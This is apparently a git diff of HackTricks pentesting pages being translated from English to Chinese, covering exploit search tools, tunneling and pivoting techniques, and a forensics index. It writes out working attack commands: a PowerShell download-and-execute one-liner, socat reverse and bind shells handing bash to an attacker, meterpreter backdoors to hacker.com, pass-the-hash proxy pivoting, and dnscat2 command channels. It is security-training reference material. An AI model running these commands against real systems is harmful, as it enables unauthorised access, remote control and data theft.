bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` +**检测为恶意代码** -**Detected as malicious code** +## 更多 -## More - -[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered)\ +[PS>Attack](https://github.com/jaredhaight/PSAttack) PS 控制台,预加载了一些攻击性 PS 模块(加密)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX) +WinPWN](https://github.com/SecureThisShit/WinPwn) PS 控制台,带有一些攻击性 PS 模块和代理检测(IEX) -## References +## 参考 - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) diff --git a/src/generic-hacking/search-exploits.md b/src/generic-hacking/search-exploits.md index 8d195840a..7301bcea3 100644 --- a/src/generic-hacking/search-exploits.md +++ b/src/generic-hacking/search-exploits.md @@ -1,25 +1,16 @@ -# Search Exploits +# 搜索漏洞 {{#include ../banners/hacktricks-training.md}} -
+### 浏览器 -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +始终在“google”或其他地方搜索:**\ \[version] 漏洞** -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} - -### Browser - -Always search in "google" or others: **\ \[version] exploit** - -You should also try the **shodan** **exploit search** from [https://exploits.shodan.io/](https://exploits.shodan.io). +您还应该尝试 **shodan** **漏洞搜索** 从 [https://exploits.shodan.io/](https://exploits.shodan.io)。 ### Searchsploit -Useful to search exploits for services in **exploitdb from the console.** - +用于从 **exploitdb** 的控制台搜索服务漏洞。 ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -29,43 +20,32 @@ searchsploit -p 7618[.c] #Show complete path searchsploit -x 7618[.c] #Open vi to inspect the exploit searchsploit --nmap file.xml #Search vulns inside an nmap xml result ``` - ### Pompem -[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is another tool to search for exploits +[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) 是另一个搜索漏洞的工具 ### MSF-Search - ```bash msf> search platform:windows port:135 target:XP type:exploit ``` - ### PacketStorm -If nothing is found, try to search the used technology inside [https://packetstormsecurity.com/](https://packetstormsecurity.com) +如果没有找到任何内容,请尝试在 [https://packetstormsecurity.com/](https://packetstormsecurity.com) 中搜索使用的技术。 ### Vulners -You can also search in vulners database: [https://vulners.com/](https://vulners.com) +您还可以在 vulners 数据库中搜索: [https://vulners.com/](https://vulners.com) ### Sploitus -This searches for exploits in other databases: [https://sploitus.com/](https://sploitus.com) +此工具在其他数据库中搜索漏洞: [https://sploitus.com/](https://sploitus.com) ### Sploitify -GTFOBins-like curated list of exploits with filters by vulnerability type (Local Privilege Escalation, Remote Code execution, etc), service type (Web, SMB, SSH, RDP, etc), OS and practice labs (links to machines where you can play with sploits): [https://sploitify.haxx.it](https://sploitify.haxx.it) +类似于 GTFOBins 的策划漏洞列表,按漏洞类型(本地权限提升、远程代码执行等)、服务类型(Web、SMB、SSH、RDP 等)、操作系统和实践实验室(链接到可以玩漏洞的机器)进行过滤: [https://sploitify.haxx.it](https://sploitify.haxx.it) ### search_vulns -search_vulns enables you to search for known vulnerabilities and exploits as well: [**https://search-vulns.com/**](https://search-vulns.com/). It utilizes various data sources like the NVD, the Exploit-DB, PoC-in-GitHub, the GitHub Security Advisory database and endoflife.date. - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} +search_vulns 使您能够搜索已知的漏洞和漏洞利用: [**https://search-vulns.com/**](https://search-vulns.com/)。它利用各种数据源,如 NVD、Exploit-DB、GitHub 中的 PoC、GitHub 安全咨询数据库和 endoflife.date。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 902da0e5b..d2ae467a1 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -1,16 +1,15 @@ -# Tunneling and Port Forwarding +# 隧道和端口转发 {{#include ../banners/hacktricks-training.md}} -## Nmap tip +## Nmap提示 > [!WARNING] -> **ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work. +> **ICMP** 和 **SYN** 扫描无法通过socks代理进行隧道传输,因此我们必须 **禁用ping发现** (`-Pn`) 并指定 **TCP扫描** (`-sT`) 以使其工作。 ## **Bash** -**Host -> Jump -> InternalA -> InternalB** - +**主机 -> 跳转 -> 内部A -> 内部B** ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; @@ -26,19 +25,15 @@ cat <&4 >&3 & # From the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` - ## **SSH** -SSH graphical connection (X) - +SSH 图形连接 (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` +### 本地端口到端口 -### Local Port2Port - -Open new Port in SSH Server --> Other port - +在 SSH 服务器中打开新端口 --> 其他端口 ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -46,29 +41,23 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` - ### Port2Port -Local port --> Compromised host (SSH) --> Third_box:Port - +本地端口 --> 被攻陷的主机 (SSH) --> 第三方主机:端口 ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` - ### Port2hostnet (proxychains) -Local Port --> Compromised host (SSH) --> Wherever - +本地端口 --> 被攻陷的主机 (SSH) --> 任何地方 ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` +### 反向端口转发 -### Reverse Port Forwarding - -This is useful to get reverse shells from internal hosts through a DMZ to your host: - +这对于从内部主机通过 DMZ 获取反向 shell 到您的主机非常有用: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -77,13 +66,11 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # and change the line "GatewayPorts no" to "GatewayPorts yes" # to be able to make ssh listen in non internal interfaces in the victim (443 in this case) ``` - ### VPN-Tunnel -You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\ +您需要**在两个设备上都具有root权限**(因为您将要创建新的接口),并且sshd配置必须允许root登录:\ `PermitRootLogin yes`\ `PermitTunnel yes` - ```bash ssh root@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP @@ -91,50 +78,38 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` - -Enable forwarding on the Server side - +在服务器端启用转发 ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` - -Set a new route on the client side - +在客户端设置新路由 ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` - ## SSHUTTLE -You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\ -For example, forwarding all the traffic going to 10.10.10.0/24 - +您可以通过 **ssh** 将所有 **流量** 隧道到一个 **子网络** 通过一个主机。\ +例如,转发所有发送到 10.10.10.0/24 的流量。 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` - -Connect with a private key - +使用私钥连接 ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode ``` - ## Meterpreter ### Port2Port -Local port --> Compromised host (active session) --> Third_box:Port - +本地端口 --> 被攻陷的主机(活动会话) --> 第三方主机:端口 ```bash # Inside a meterpreter session portfwd add -l -p -r ``` - ### SOCKS - ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) @@ -142,9 +117,7 @@ use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - -Another way: - +另一种方法: ```bash background #meterpreter session use post/multi/manage/autoroute @@ -157,13 +130,11 @@ set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - ## Cobalt Strike -### SOCKS proxy - -Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**. +### SOCKS 代理 +在 teamserver 中打开一个端口,监听所有接口,以便 **通过 beacon 路由流量**。 ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -171,50 +142,42 @@ beacon> socks 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` - ### rPort2Port > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port - +> 在这种情况下,**端口在信标主机上打开**,而不是在团队服务器上,流量被发送到团队服务器,然后从那里发送到指定的主机:端口 ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` +需要注意: -To note: +- Beacon 的反向端口转发旨在 **将流量隧道传输到团队服务器,而不是在单个机器之间中继**。 +- 流量在 **Beacon 的 C2 流量中隧道传输**,包括 P2P 链接。 +- **不需要管理员权限** 来在高端口上创建反向端口转发。 -- Beacon's reverse port forward is designed to **tunnel traffic to the Team Server, not for relaying between individual machines**. -- Traffic is **tunneled within Beacon's C2 traffic**, including P2P links. -- **Admin privileges are not required** to create reverse port forwards on high ports. - -### rPort2Port local +### rPort2Port 本地 > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port - +> 在这种情况下,**端口在 beacon 主机上打开**,而不是在团队服务器上,**流量发送到 Cobalt Strike 客户端**(而不是团队服务器),然后从那里发送到指定的主机:端口。 ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` - ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp - +您需要上传一个网络文件隧道:ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` - ## Chisel -You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -You need to use the **same version for client and server** +您可以从 [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) 的发布页面下载它。\ +您需要为客户端和服务器使用 **相同版本**。 ### socks - ```bash ./chisel server -p 8080 --reverse #Server -- Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim @@ -223,22 +186,18 @@ You need to use the **same version for client and server** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` - -### Port forwarding - +### 端口转发 ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` - ## Ligolo-ng [https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng) -**Use the same version for agent and proxy** - -### Tunneling +**代理和代理使用相同的版本** +### 隧道技术 ```bash # Start proxy server and automatically generate self-signed TLS certificates -- Attacker sudo ./proxy -selfcert @@ -260,9 +219,7 @@ interface_add_route --name "ligolo" --route / python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` @@ -293,9 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` - -Pivot through **NTLM proxy** - +通过 **NTLM 代理** 进行中转 ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -303,39 +254,29 @@ victim> python client.py --server-ip --server-port 9999 --ntl ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### 绑定 shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` - -### Reverse shell - +### 反向 shell ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ### Port2Port - ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` - -### Port2Port through socks - +### 通过socks进行Port2Port ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` - -### Meterpreter through SSL Socat - +### 通过 SSL Socat 的 Meterpreter ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -345,21 +286,15 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` - -You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: - +您可以通过在受害者的控制台中执行这一行来绕过**非认证代理**,而不是最后一行: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` - -[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) - ### SSL Socat Tunnel **/bin/sh console** -Create certificates on both sides: Client and Server - +在客户端和服务器两侧创建证书: ```bash # Execute these commands on both sides FILENAME=socatssl @@ -373,34 +308,28 @@ chmod 600 $FILENAME.key $FILENAME.pem attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` - ### Remote Port2Port -Connect the local SSH port (22) to the 443 port of the attacker host - +将本地 SSH 端口 (22) 连接到攻击者主机的 443 端口 ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` - ## Plink.exe -It's like a console PuTTY version ( the options are very similar to an ssh client). - -As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine: +它就像一个控制台版本的 PuTTY(选项与 ssh 客户端非常相似)。 +由于这个二进制文件将在受害者的机器上执行,并且它是一个 ssh 客户端,我们需要打开我们的 ssh 服务和端口,以便能够建立反向连接。然后,要将仅本地可访问的端口转发到我们机器上的一个端口: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` - ## Windows netsh ### Port2Port -You need to be a local admin (for any port) - +您需要是本地管理员(对于任何端口) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: @@ -410,60 +339,50 @@ netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` - ## SocksOverRDP & Proxifier -You need to have **RDP access over the system**.\ -Download: +您需要拥有**系统的 RDP 访问权限**。\ +下载: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 远程桌面服务功能中的 `Dynamic Virtual Channels` (`DVC`)。DVC 负责**在 RDP 连接上隧道数据包**。 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) -In your client computer load **`SocksOverRDP-Plugin.dll`** like this: - +在您的客户端计算机上加载**`SocksOverRDP-Plugin.dll`**,如下所示: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` +现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP plugin is enabled**,并且它将 **listen** 在 **127.0.0.1:1080**。 -Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**. - -**Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary: - +通过 **RDP** 连接并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` - -Now, confirm in you machine (attacker) that the port 1080 is listening: - +现在在你的机器(攻击者)上确认端口 1080 正在监听: ``` netstat -antb | findstr 1080 ``` +现在您可以使用 [**Proxifier**](https://www.proxifier.com/) **通过该端口代理流量。** -Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.** +## 代理 Windows GUI 应用程序 -## Proxify Windows GUI Apps +您可以使用 [**Proxifier**](https://www.proxifier.com/) 使 Windows GUI 应用程序通过代理进行导航。\ +在 **Profile -> Proxy Servers** 中添加 SOCKS 服务器的 IP 和端口。\ +在 **Profile -> Proxification Rules** 中添加要代理的程序名称和要代理的 IP 连接。 -You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ -In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\ -In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify. - -## NTLM proxy bypass - -The previously mentioned tool: **Rpivot**\ -**OpenVPN** can also bypass it, setting these options in the configuration file: +## NTLM 代理绕过 +之前提到的工具:**Rpivot**\ +**OpenVPN** 也可以绕过它,在配置文件中设置这些选项: ```bash http-proxy 8080 ntlm ``` - ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\ -For example that forward port 443 - +它对代理进行身份验证,并在本地绑定一个端口,该端口转发到您指定的外部服务。然后,您可以通过此端口使用您选择的工具。\ +例如,转发端口 443 ``` Username Alice Password P@ssw0rd @@ -471,13 +390,12 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` - -Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\ -You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. +现在,如果你在受害者的 **SSH** 服务上设置监听端口为 443。你可以通过攻击者的端口 2222 连接到它。\ +你也可以使用一个连接到 localhost:443 的 **meterpreter**,而攻击者在端口 2222 上监听。 ## YARP -A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +由微软创建的反向代理。你可以在这里找到它: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling @@ -485,26 +403,21 @@ A reverse proxy created by Microsoft. You can find it here: [https://github.com/ [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries. - +在两个系统中都需要 root 权限,以创建 tun 适配器并通过 DNS 查询在它们之间隧道数据。 ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` - -The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using: - +隧道将会非常慢。您可以通过使用以下命令创建一个压缩的SSH连接: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` - ### DNSCat2 -[**Download it from here**](https://github.com/iagox86/dnscat2)**.** - -Establishes a C\&C channel through DNS. It doesn't need root privileges. +[**从这里下载**](https://github.com/iagox86/dnscat2)**.** +通过DNS建立C\&C通道。它不需要root权限。 ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com @@ -513,50 +426,42 @@ victim> ./dnscat2 tunneldomain.com attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` +#### **在 PowerShell 中** -#### **In PowerShell** - -You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell: - +您可以使用 [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) 在 PowerShell 中运行 dnscat2 客户端: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` - -#### **Port forwarding with dnscat** - +#### **使用 dnscat 进行端口转发** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` +#### 更改 proxychains DNS -#### Change proxychains DNS +Proxychains 拦截 `gethostbyname` libc 调用,并通过 socks 代理隧道 tcp DNS 请求。默认情况下,proxychains 使用的 DNS 服务器是 **4.2.2.2**(硬编码)。要更改它,请编辑文件: _/usr/lib/proxychains3/proxyresolv_ 并更改 IP。如果您在 **Windows 环境** 中,可以设置 **域控制器** 的 IP。 -Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. - -## Tunnels in Go +## Go 中的隧道 [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) -## ICMP Tunneling +## ICMP 隧道 ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests. - +在两个系统中都需要 root 权限,以创建 tun 适配器并使用 ICMP 回显请求在它们之间隧道数据。 ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` - ### ptunnel-ng -[**Download it from here**](https://github.com/utoni/ptunnel-ng.git). - +[**从这里下载**](https://github.com/utoni/ptunnel-ng.git)。 ```bash # Generate it sudo ./autogen.sh @@ -570,32 +475,28 @@ ssh -p 2222 -l user 127.0.0.1 # Create a socks proxy through the SSH connection through the ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` - ## ngrok -[**ngrok**](https://ngrok.com/) **is a tool to expose solutions to Internet in one command line.**\ -&#xNAN;_Exposition URI are like:_ **UID.ngrok.io** +[**ngrok**](https://ngrok.com/) **是一个通过一条命令行将解决方案暴露到互联网的工具。**\ +&#xNAN;_Exposition URI 类似于:_ **UID.ngrok.io** -### Installation - -- Create an account: https://ngrok.com/signup -- Client download: +### 安装 +- 创建一个账户: https://ngrok.com/signup +- 客户端下载: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok # Init configuration, with your token ./ngrok config edit ``` +### 基本用法 -### Basic usages +**文档:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). - -_It is also possible to add authentication and TLS, if necessary._ - -#### Tunneling TCP +_如果需要,也可以添加身份验证和 TLS。_ +#### 隧道 TCP ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 @@ -603,49 +504,42 @@ _It is also possible to add authentication and TLS, if necessary._ # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` - -#### Exposing files with HTTP - +#### 通过HTTP暴露文件 ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` +#### 嗅探 HTTP 调用 -#### Sniffing HTTP calls - -_Useful for XSS,SSRF,SSTI ..._\ -Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127.0.0.1:4000). - -#### Tunneling internal HTTP service +_对 XSS, SSRF, SSTI ... 有用_\ +直接从 stdout 或在 HTTP 接口 [http://127.0.0.1:4040](http://127.0.0.1:4000)。 +#### 隧道内部 HTTP 服务 ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` +#### ngrok.yaml 简单配置示例 -#### ngrok.yaml simple configuration example - -It opens 3 tunnels: - -- 2 TCP -- 1 HTTP with static files exposition from /tmp/httpbin/ +它打开 3 个隧道: +- 2 个 TCP +- 1 个 HTTP,静态文件从 /tmp/httpbin/ 暴露 ```yaml tunnels: - mytcp: - addr: 4444 - proto: tcptunne - anothertcp: - addr: 5555 - proto: tcp - httpstatic: - proto: http - addr: file:///tmp/httpbin/ +mytcp: +addr: 4444 +proto: tcptunne +anothertcp: +addr: 5555 +proto: tcp +httpstatic: +proto: http +addr: file:///tmp/httpbin/ ``` - -## Other tools to check +## 其他检查工具 - [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) - [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md index e725dfa85..c1eb54a1b 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# 基本取证方法论 {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## 创建和挂载镜像 {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## 恶意软件分析 -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +这**并不是在获得镜像后必须执行的第一步**。但是如果你有一个文件、文件系统镜像、内存镜像、pcap...你可以独立使用这些恶意软件分析技术,因此**记住这些操作是很好的**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## 检查镜像 -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +如果你获得了设备的**取证镜像**,你可以开始**分析分区、文件系统**并**恢复**潜在的**有趣文件**(甚至是已删除的文件)。了解如何进行: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +根据使用的操作系统甚至平台,应该搜索不同的有趣文物: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## 深入检查特定文件类型和软件 -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +如果你有非常**可疑的****文件**,那么**根据文件类型和创建它的软件**,可能会有几种**技巧**是有用的。\ +阅读以下页面以了解一些有趣的技巧: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +我想特别提到以下页面: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## 内存转储检查 {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Pcap 检查 {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## 